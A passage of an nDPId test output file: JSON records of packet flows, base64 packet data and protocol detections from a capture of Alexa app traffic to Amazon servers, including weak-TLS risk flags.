8tJJAHkPsibmPsprwK01y3Pq6S2P6ev+DeD4PXHwg\/4JheArS9tDDPqlj\/AGg6sMEi5d7vn6faSPwr61+OiyXfw4udCtyfO1a7tbCEDqWmnRMfkTTP2e\/hzp3wm+Cnhr4e6VYLaw6ZpUUaW6jAi4zs\/wCA52\/QVf1q1Pib4t+CfBqjckepyavdgfwpbRkpn2MjoPrXz0nzNs9JKyse4xRpDGsMS4VFAUDsBTqKKQwooooAKKKKAEdVdSjqCCMEEcEV4L8NrOTwhqOvfCm5yG8Paq4sQ3VrKYmWBvfAZl\/4BXvdeRftB6WfBnjDRvjRbrttMDSfEZHRYJHzDMf9yU4J9JKAPKv29v2bNA\/av\/ZV8X\/BjxBaeamp6POkRCbmRjGw3L\/tAHcv+0q+lfyG\/Ff4ceLPg58S9c+FXjewNtqvh7VZrG9jIOC8bEblz1VhhlPdWB71\/apwRX4K\/wDBzl\/wTPvfBfjWH9tn4UeHydNv1WDxZDbR\/wCr5Cx3BA\/ukiNj\/dMX91jXZg6vLPlfU5sTT5o83Y\/IfRbi1g1a1uL8EwR3MbTKOpUMMj8q+8fFf7W2p\/DS5t\/CXwPRdX17xLEsvh+RJA62kM3zCSQqcB0ywKnHKkkYxXwIYpVHzKR712Xwf+NXiT4RXt3d6Lpthdm8iRHOoQlzHtztKMGDKRkjgjg46V7NLEV8NPmp9dH3t5eZ4uJwlDFR9\/W23a\/n5H6a\/BL9kr9kq78DRax+0z8No\/iF42vna51vxHqviTU4nmkbHyBYLqNdqgBQcZwPoBrav8Av2B9ADDRv2LPC05Uced4j19j+moivhTTv+CiHxhsLZLY+GdCdQgCsVuVJ\/wC+ZuT71ct\/29fi9chrqLQNEQyAxsN12QQRjGDP706sMpneSw07\/wDXyX5c9l9xx0oZrDSVeNv8Kf8A7afXWt\/Dn9kaz0SPxJY="} +02410{"flow_id":124,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2181,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976134,"pkt_ts_usec":956905,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXc19NAAPIGYNM0VD84rBAq2ABQyxXC1tTvit3QqoAQAHZ70AAAAQEICmz6ep0A9nLVn7BPgo23myK0jeIvEuGMeC20Jqy4A3KMnjJ4z0Hg37XH7MPh3wnpD\/tCfACe4\/4QLULhLfVdIu5JJbrwrfyAstlM+My28mG+z3JAWVVKsRIjqOE079uv4uWWiy+HU8O+HpreScyhLtb6Xy3IALLm7wp46gc981gXv7VHxWL6idBuNP0WPWNOuNP1i30yGZ4b20mcu8EkNzNNEU37XXCBkdEdSrKGHHTqV6db93ScY36z5lb0bf4Hc6dOVP8AeVFJ26Rtr8kjCOsXb2yXv+k7Eba0o4XOOmcYz\/hWbca3DLksrg9wWHJxzyB644qm\/iy5trclbdCNw+YrkL1Azwe2ay7jXTeuQrIpI4UZ4wDzgKBXtyr3W558aOuxurqxd8puUjAwWzzVhb9nXHOK5mDV5Lhl8wgYGBhQOg9hW3pMwnjG4KSTjnrWaqXZcocqJLnewOM16D+zd+0le\/AKDxx4et9Lt2h8e+Ex4fudQkJ3afH9ttbsyqB97cbYRtnoshI5UA8XNGnl\/IBjsawdVQsWiQA5PTFTKWzfR\/kCV013PdYviZqFv4J8W3E2SLfwpPHlV34Zp4EB46cTfe9DXyJfyAkqB16V7Jq3xF8e+Dvgzc\/DOyOmw6frcyyXt0lqBeyog+SFpc58obnwnT5znOFx4xqUUsbNkYrHEV61eo5TVraLXp3OjA0KNCmoxd77mbcvnqenrX6jf8GuP7DVz8cP2pb79p7xVoxfQvBcTWumySx5SS8dQZSD32xMIz\/1857V+bPwn+FHjf46\/FDRPhD8OtJe91rxBfx2ljAo4DN1dz\/CirlmboFUntX9bP8AwS8\/Yh8J\/sG\/sl+G\/g3oVov22OxSXVbtowslxOw3O7ejM7M5H8O4L0UV5GLq+7y9z26EOp9F1S+Atj\/wlPxP8U\/Ehxut9PVNB01+x8s+bcEf9tGRc\/7HtVD4i+KZPCHhK51WzhM16+23023UZM1zIdkSAd8sR+ANej\/CHwFH8NPhzpfg8yCSe2t919N\/z1uHJeV898uzfhivNOs6WiiigAooooAKKKKACqPiXw7pHi7w\/e+GNetRPZ39s8FzEf4kYYP0Poexq9RQB4P4AudY8OX978JPGFwZNV0DAhuX4+3WR\/1NwPXjCt6Mpz1pnxs+Dvgv49fDPVfhd490mC807VbR4ZY7iIOvzKVOQeoIJBHcEjvXe\/HP4Yal4vsrXxn4J2R+JtC3SaczHC3cR\/1lrIf7rgcH+FsHjmuX8F+MNN8baKurWKPDIjtFe2c4xLazrw8TjswP+PegNz+VL\/gq5\/wTm+In\/BOv48Xnhu90iebwfql07eGdWZC6hD832aRv76jof41w3XcF+UoJg7Ag9+hr+w39tn9if4NftzfBfUvhB8XPDkF1Fd25W2uXXDwv1VlYcqVbkMOVPI7g\/wAw3\/BSb\/glt8fP+CcPxOudI8X6Rc6l4RuLoroniaOHKFSTsinxwkmBwfuvjKnhlX1KGLc7KW55tXCqndw2Pn2S8VokbYVG7BA7ev8AOt7w\/OJdOVx\/z3Uf+PCuSSZTapu4Jkbn\/vmr9lrFzY2ohhlIxKD0HJz\/APWrvU0jidNuOh0L3pinkVlP3zj86DqS4ObgLgcZzz+VYb6qJHLM7EsSc+uagl1R\/OHknnPBz3\/pRzkKkzZ1G6227ZcAZbaCvPBAznFUbee48\/fCVDK7Y3sowR9atald6Xd3h0iJrJN5YfaJpGATB7nOBn+lZNpqlmLiSxuEibzJHHnO2AoyDkEkDt39a65KN7NkQi+XRGhDemGQxyHBBIx7iui0DUVFuGEoJD5IHauW1O+0sbLiOVZEa5l3lQC3AG3jI4OeT\/hSaVrMttIo3jkD7rZ75rKT5J2KdNzhc9A\/tNXtw2fXvWVf6obS688qGKAECsZNfkWLyy3c9ag1XUWZiHfkoDg="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2236,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":126,"flow_packet_id":1,"flow_first_seen":1490976136930,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.29.253","src_port":40871,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":126,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2236,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976136,"pkt_ts_usec":930982,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8bqFAAEAGoEasECrYNu8d\/Z+nAbuZbx1qAAAAAKAC\/\/9PLQAAAgQFtAQCCAoA9nPLAAAAAAEDAwg="} +00428{"flow_id":126,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2237,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976137,"pkt_ts_usec":42055,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwrQVAAOcGuu027x39rBAq2AG7n6dEArKimW8da3ASH\/7pVAAAAgQFtAEDAwY="} +00416{"flow_id":126,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2238,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976137,"pkt_ts_usec":43334,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAobqJAAEAGoFmsECrYNu8d\/Z+nAbuZbx1rRAKyo1AQAVczxgAA"} +00745{"flow_id":126,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2239,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976137,"pkt_ts_usec":44165,"pkt_caplen":297,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":297,"pkt_l4_len":263,"pkt":"AMDKkaPvePiC0\/vCCABFAAEbbqNAAEAGn2WsECrYNu8d\/Z+nAbuZbx1rRAKyo1AYAVcOogAAFgMBAO4BAADqAwNhY3NDhjYtpf41Zp5hXeye2JYVtN+jXNyco\/qKL4s4VSBtDRI0q2icP6fVqlksmygn0U781lDdxNdezB5jmLBlqwAgamrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAACBenoAAP8BAAEAAAAAHAAaAAAXc2tpbGxzLXN0b3JlLmFtYXpvbi5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAACgAKAAhqagAdABcAGEpKAAEA"} +00742{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2239,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":126,"flow_packet_id":4,"flow_first_seen":1490976136930,"flow_last_seen":1490976137044,"flow_tot_l4_data_len":351,"flow_min_l4_data_len":20,"flow_max_l4_data_len":263,"flow_avg_l4_data_len":87,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.29.253","src_port":40871,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"skills-store.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00425{"flow_id":126,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2240,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976137,"pkt_ts_usec":221949,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAotQJAAOcGsvg27x39rBAq2AG7n6dEArKjmW8eXlAQf\/i0MQAAAAAAAAAA"} +00536{"flow_id":126,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2241,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976137,"pkt_ts_usec":222092,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9tQVAAOcGsqA27x39rBAq2AG7n6dEArKjmW8eXlAYf\/gwgQAAFgMBAEoCAABGAwFY3n2J10RhgC68733hZUmscGmdgG8JZVPQEuz4sMP7eSBtDRI0q2icP6fVqlksmygn0U781lDdxNdezB5jmLBlqwAvABQDAQABAQ=="} +00857{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2241,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":126,"flow_packet_id":6,"flow_first_seen":1490976136930,"flow_last_seen":1490976137222,"flow_tot_l4_data_len":476,"flow_min_l4_data_len":20,"flow_max_l4_data_len":263,"flow_avg_l4_data_len":79,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.29.253","src_port":40871,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"skills-store.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00491{"flow_id":126,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2242,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976137,"pkt_ts_usec":222137,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdtQdAAOcGsr427x39rBAq2AG7n6dEArL4mW8eXlAYf\/im5AAAFgMBADCNB31WBPLwXL3aVlGdUkiEHXV16hNw+LYmC2gi25gCR793y4LyHNgldd5fo2sWHKw="} +00417{"flow_id":126,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2243,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976137,"pkt_ts_usec":224105,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAobqRAAEAGoFesECrYNu8d\/Z+nAbuZbx5eRAKy+FAQAVcyfgAA"} +00417{"flow_id":126,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2244,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976137,"pkt_ts_usec":227018,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAobqVAAEAGoFasECrYNu8d\/Z+nAbuZbx5eRAKzLVAQAVcySQAA"} +00501{"flow_id":126,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2245,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976137,"pkt_ts_usec":227283,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABjbqZAAEAGoBqsECrYNu8d\/Z+nAbuZbx5eRAKzLVAYAVdY2gAAFAMBAAEBFgMBADB8EdB7Q\/LODNFL3srbcV+Ju17YEPSWzWukcLyKSWI+dwgGSVJA5TIhqKiK+K3T9sI="} +02403{"flow_id":126,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2246,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976137,"pkt_ts_usec":230538,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcbqdAAEAGmqCsECrYNu8d\/Z+nAbuZbx6ZRAKzLVAQAVfB8wAAFwMBACDiZbNXtdYZKphJts39B9gz40YxVGHdsz5DK\/66mpovShcDAQaAyHTN7OFAu+7w6BWUP6a4R3j+arFpY3E\/k9QfAYqXhGsAmIjVa\/k+QdxGauulHrPls1kQu3kaGiYXtTyoXtYtozWGsEJhg672OMOLNJMw1wPZ3MygbC6f1oBuNVp5iljwqUwRiQvECXBz7IExoSFDjvcGJ8weFY6RvGK99WEJcmkewc3QG14xud3uIfcCMj2KfM4uWJ3\/ZnTOBiV86vvHKxogF+ibfQDGcH+bPISNQUySd5nnr8Aergsj6YpCzsVBrSBq5qxYIU3TARsl6ijBfNrL8NSCtaNcxCFAenlKT1XR7RprRQ2iLV4MR\/VaaZP7vPf1zD5sqeUTslXebjCQ6zGrGs\/xUULZ2BTBd4shBWUaRd1a5dFzeNv4DtDEC08sMmWYYk01Ley5Hi2mYEgWBEOwbsQ1T8OiCYDzdacYfYs6NTDAnZu2J+gZp7AjxxlRpb8L0JTtGWcPjeTFVMop0vWn\/aGmuygBgRdCwUkZyQfM27oYZ+nqIkPuJChw3j4Lw98I6bAZ4IzBHhyrojG7l\/QdioS3zhsptbm88s\/IkNHoODOT4T6M69u0LxSkF8xuurSCfOJw6EHa27BCG9hpSbyMCAb5snLwJ2lV\/+gy+76QKBDVhHGUy3nOzRRMKrOWRcrtfqFO4kcJbmbMp\/Xfu10nnQlHJLSR1uhOLmXb1jUygeoYtbiIa7+NUQm9IL3h8fuOeyhQ3rjbuJUSlYtnkcvRwvvp9egk90dGT5a1oHReDq+c1BNqDWjvB34EADtlXmgc\/T5T0sgRkBwiwXe5BL9WJlIBudRq6L1hpFQDOwGCArA\/7f9CycI0Vcj8unphWy530d9Y78qhzjr1tS3qQVvjOufOWDHojZvYcZnIy80YlxB7B9Y07DI2HGY\/tslwFNsRp5q0WmWlczRnFK7d0\/b94wz84qPp31FukOLIO05nYZmik0QwO6tStjP4Fwy+hVMzgBvNuxz3CN1x3gbvyQqGMm5sGx2PSUkMlfI14GH5OSRcOqm\/sBdCoAtvBTG75SGanamo8EoDmwAb0xXfN7YO2hL8jBfR0mcoyf2W\/4UTfPsUNhVQEhg\/S7YAVLRHxjXu\/kFJ14RUTJ3aa92KPIeo\/ygbH7NG+QkpX9jAPEY5ZZyG6BHgJq0ZQZiUF\/7vPds\/QogKMox4Oomld8\/cs\/zzFd1mk4nCPbTGn2CLtfQ1\/6J570D5c4dGM\/tO049A9f8G2W4ZpM6YhArq7JnlqEZCmgPynFoO0Z9xzUtCtXp\/MSnVbKhe5voEqLT7fcgsE2Q2Z5n1yi3sO4zrd5sJit+cx5VaRhEsd7u57c5h4vfswcJvKouRy1zyqLRQ3nHBEwA8WiSvIl+oHVlssYOU3\/fnm6VjmUHKxUVvF+HpL3caIiNVd6fFXVIrOi0XxFZRUbwdC4bmoi11iOeo7uxzXEVzga6TYUcr76XkIbJKb4ia1rEyglfh8ZWClyouBU4sY5uGkWRIwSV\/GEhfig6riENVKjfFH7ql31ZFxwGQ0tqIfIh3TKvoJXTnLWIrm6Topb9nK5ldkseGMMxzfpnfBBm5WofZWVF9Odf0ngGPCz0HThpQbuTzPoirijp5tHMwNjJMNZww3ePGPR55B3M6YYVdb4lDs1NcY31H+dZcwI+vvh8gi1RHCLgcx8i9laBTYhLKk6QN9t2MbQVCX63PJFrD7IpYeI44Hg44MDHojf+QXQdB0peZpS4VgiTHUSQyxvFBZAObJOxcSdZJ5emLr9gWRPNwW2WAAlFxA+Gu5AQ0\/guG+Kps7+dgWKI8MAV2vPCMywVDBMNfHivBMsxZGFbyoCJotm6zqMkiX18A2hgpkOQIn6QphT5zjoQxQetwDxzvOV\/xBj2RhTII6vuPB1DpiIp3HAykd80="} +00752{"flow_id":126,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2247,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976137,"pkt_ts_usec":231054,"pkt_caplen":300,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":300,"pkt_l4_len":266,"pkt":"AMDKkaPvePiC0\/vCCABFAAEebqhAAEAGn12sECrYNu8d\/Z+nAbuZbyRNRAKzLVAYAVdnbgAA4mEOxAE6z6V5hYsGLsZxzcQwsbofWxHiU7ZnBdtdpNeEQ2Fl9fiE0iAQZNRSiiCjdsHsFnkHkoPGHzIYqFRjPVCsx4lViteAtnyXyi1ESsbJKlCkQ1F8DTrsQgHhdidSmib+4gWxp2fi9B+58WJP0t8S9qMkZ4wcHEjvtH5uKCAn38Ku179vU0TNZr+zsviGL57KLWVv6pfDHz0BHeAOzBgzwBraDgMJcS3h4J0\/BduvxydBQg0WEFtVrj90W64wo91HC\/tJ6Wa6s4X2pu3U+29cbcBGTK5DNrus3iWj6eCV9CioPd7ziARC\/9M3XzBNWeC567tO"} +00426{"flow_id":126,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2248,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976137,"pkt_ts_usec":357273,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAon+xAAOcGyA427x39rBAq2AG7n6dEArMtmW8emVAQf\/ezbQAAAAAAAAAA"} +00426{"flow_id":126,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2249,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976137,"pkt_ts_usec":357435,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoogVAAOcGxfU27x39rBAq2AG7n6dEArMtmW8emVAQf\/ezbQAAAAAAAAAA"} +02403{"flow_id":126,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2250,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976137,"pkt_ts_usec":401218,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcbqlAAEAGmp6sECrYNu8d\/Z+nAbuZbx6ZRAKzLVAQAVfB8wAAFwMBACDiZbNXtdYZKphJts39B9gz40YxVGHdsz5DK\/66mpovShcDAQaAyHTN7OFAu+7w6BWUP6a4R3j+arFpY3E\/k9QfAYqXhGsAmIjVa\/k+QdxGauulHrPls1kQu3kaGiYXtTyoXtYtozWGsEJhg672OMOLNJMw1wPZ3MygbC6f1oBuNVp5iljwqUwRiQvECXBz7IExoSFDjvcGJ8weFY6RvGK99WEJcmkewc3QG14xud3uIfcCMj2KfM4uWJ3\/ZnTOBiV86vvHKxogF+ibfQDGcH+bPISNQUySd5nnr8Aergsj6YpCzsVBrSBq5qxYIU3TARsl6ijBfNrL8NSCtaNcxCFAenlKT1XR7RprRQ2iLV4MR\/VaaZP7vPf1zD5sqeUTslXebjCQ6zGrGs\/xUULZ2BTBd4shBWUaRd1a5dFzeNv4DtDEC08sMmWYYk01Ley5Hi2mYEgWBEOwbsQ1T8OiCYDzdacYfYs6NTDAnZu2J+gZp7AjxxlRpb8L0JTtGWcPjeTFVMop0vWn\/aGmuygBgRdCwUkZyQfM27oYZ+nqIkPuJChw3j4Lw98I6bAZ4IzBHhyrojG7l\/QdioS3zhsptbm88s\/IkNHoODOT4T6M69u0LxSkF8xuurSCfOJw6EHa27BCG9hpSbyMCAb5snLwJ2lV\/+gy+76QKBDVhHGUy3nOzRRMKrOWRcrtfqFO4kcJbmbMp\/Xfu10nnQlHJLSR1uhOLmXb1jUygeoYtbiIa7+NUQm9IL3h8fuOeyhQ3rjbuJUSlYtnkcvRwvvp9egk90dGT5a1oHReDq+c1BNqDWjvB34EADtlXmgc\/T5T0sgRkBwiwXe5BL9WJlIBudRq6L1hpFQDOwGCArA\/7f9CycI0Vcj8unphWy530d9Y78qhzjr1tS3qQVvjOufOWDHojZvYcZnIy80YlxB7B9Y07DI2HGY\/tslwFNsRp5q0WmWlczRnFK7d0\/b94wz84qPp31FukOLIO05nYZmik0QwO6tStjP4Fwy+hVMzgBvNuxz3CN1x3gbvyQqGMm5sGx2PSUkMlfI14GH5OSRcOqm\/sBdCoAtvBTG75SGanamo8EoDmwAb0xXfN7YO2hL8jBfR0mcoyf2W\/4UTfPsUNhVQEhg\/S7YAVLRHxjXu\/kFJ14RUTJ3aa92KPIeo\/ygbH7NG+QkpX9jAPEY5ZZyG6BHgJq0ZQZiUF\/7vPds\/QogKMox4Oomld8\/cs\/zzFd1mk4nCPbTGn2CLtfQ1\/6J570D5c4dGM\/tO049A9f8G2W4ZpM6YhArq7JnlqEZCmgPynFoO0Z9xzUtCtXp\/MSnVbKhe5voEqLT7fcgsE2Q2Z5n1yi3sO4zrd5sJit+cx5VaRhEsd7u57c5h4vfswcJvKouRy1zyqLRQ3nHBEwA8WiSvIl+oHVlssYOU3\/fnm6VjmUHKxUVvF+HpL3caIiNVd6fFXVIrOi0XxFZRUbwdC4bmoi11iOeo7uxzXEVzga6TYUcr76XkIbJKb4ia1rEyglfh8ZWClyouBU4sY5uGkWRIwSV\/GEhfig6riENVKjfFH7ql31ZFxwGQ0tqIfIh3TKvoJXTnLWIrm6Topb9nK5ldkseGMMxzfpnfBBm5WofZWVF9Odf0ngGPCz0HThpQbuTzPoirijp5tHMwNjJMNZww3ePGPR55B3M6YYVdb4lDs1NcY31H+dZcwI+vvh8gi1RHCLgcx8i9laBTYhLKk6QN9t2MbQVCX63PJFrD7IpYeI44Hg44MDHojf+QXQdB0peZpS4VgiTHUSQyxvFBZAObJOxcSdZJ5emLr9gWRPNwW2WAAlFxA+Gu5AQ0\/guG+Kps7+dgWKI8MAV2vPCMywVDBMNfHivBMsxZGFbyoCJotm6zqMkiX18A2hgpkOQIn6QphT5zjoQxQetwDxzvOV\/xBj2RhTII6vuPB1DpiIp3HAykd80="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2274,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":127,"flow_packet_id":1,"flow_first_seen":1490976139642,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.63.56","src_port":51992,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":127,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2274,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":642766,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8ooBAAEAGTcesECrYNFQ\/OMsYAFAytNZaAAAAAKAC\/\/+zQgAAAgQFtAQCCAoA9nTaAAAAAAEDAwg="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2275,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":128,"flow_packet_id":1,"flow_first_seen":1490976139643,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.63.56","src_port":51993,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":128,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2275,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":643137,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA82RlAAEAGFy6sECrYNFQ\/OMsZAFDfya3CAAAAAKAC\/\/8uwwAAAgQFtAQCCAoA9nTbAAAAAAEDAwg="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2276,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":129,"flow_packet_id":1,"flow_first_seen":1490976139643,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.63.56","src_port":51994,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":129,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2276,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":643338,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8ao9AAEAGhbisECrYNFQ\/OMsaAFCdOh5UAAAAAKAC\/\/8AwAAAAgQFtAQCCAoA9nTbAAAAAAEDAwg="} 